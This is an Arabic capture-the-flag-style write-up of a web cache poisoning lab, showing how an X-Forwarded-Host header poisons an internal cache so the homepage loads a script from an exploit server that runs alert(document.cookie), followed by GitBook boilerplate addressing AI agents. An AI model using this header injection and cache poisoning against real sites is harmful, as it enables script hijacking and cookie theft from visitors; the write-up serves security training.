> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/internal-cache-poisoning.md).

# تسميم ذاكرة التخزين المؤقت الداخلية

### تسميم الذاكرة التخزينية الداخلية

هذا المختبر عرضة لتسميم ذاكرة التخزين المؤقت للويب ويستخدم عدة طبقات من الذاكرة المؤقتة. / يزور أحد المستخدمين الصفحة الرئيسية للموقع بانتظام باستخدام Chrome.

الهدف هو تسميم **الذاكرة التخزينية الداخلية** بحيث تُشغِّل الصفحة الرئيسية `alert(document.cookie)` في متصفح الضحية.

**التحليل الأولي**

نعترض الطلب إلى الجذر (`/`) ونحلله باستخدام **Param Miner**

<figure><img src="/files/a0b375dcfc124564e9ae4eda6167eb895222dfb1" alt=""><figcaption></figcaption></figure>

**ملاحظة السلوك**

عندما نضيف الترويسة التالية إلى الطلب:

<figure><img src="/files/e1201aeadd838fa1ffca074726afd7e10edce5fd" alt=""><figcaption></figcaption></figure>

نلاحظ أن استجابة الخادم تعكس هذه القيمة.

```http
X-Forwarded-Host: test.com
```

<figure><img src="/files/08bed1617f0d487f87f99e6c0b7e818618e6de40" alt=""><figcaption></figcaption></figure>

ومع ذلك، لا يكون هذا التعديل مرئيًا إلا إذا تم الاحتفاظ بالترويسة عبر الطلبات الداخلية.

من خلال إرسال العديد من الطلبات بهذه الترويسة، ينتهي الخادم إلى **تخزين الاستجابة الداخلية مؤقتًا**.

\*\* التأثير على المحتوى المخزن مؤقتًا\*\*

يُحمَّل برنامج نصي في البداية بالشكل:

{% code overflow="wrap" %}

```html
<script src=
//0a3e00ba04f2869b810cbcb30088000a.web-security-academy.net/js/geolocate.js?callback=loadCountry>
</script>
```

{% endcode %}

بعد تسميم الذاكرة المؤقتة يتحول إلى:

```html
<script src=
//test.com/js/geolocate.js?callback=loadCountry>
</script>
```

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="/files/c823c7b3acbad72e9bf6c326363af2db5270fedc" alt=""><figcaption></figcaption></figure>

يصبح مصدر البرنامج النصي الآن معتمدًا على القيمة المحقونة عبر `X-Forwarded-Host`.

```http
X-Forwarded-Host: exploit-0a27006104d786ef8150bbc601bd0070.exploit-server.net
```

تم تسميم الذاكرة التخزينية الداخلية بردّ خبيث. / عندما يزور الضحية الصفحة الرئيسية، يحمّل المتصفح البرنامج النصي من خادمنا، مما يؤدي إلى تنفيذ:

```javascript
alert(document.cookie)
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/internal-cache-poisoning.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
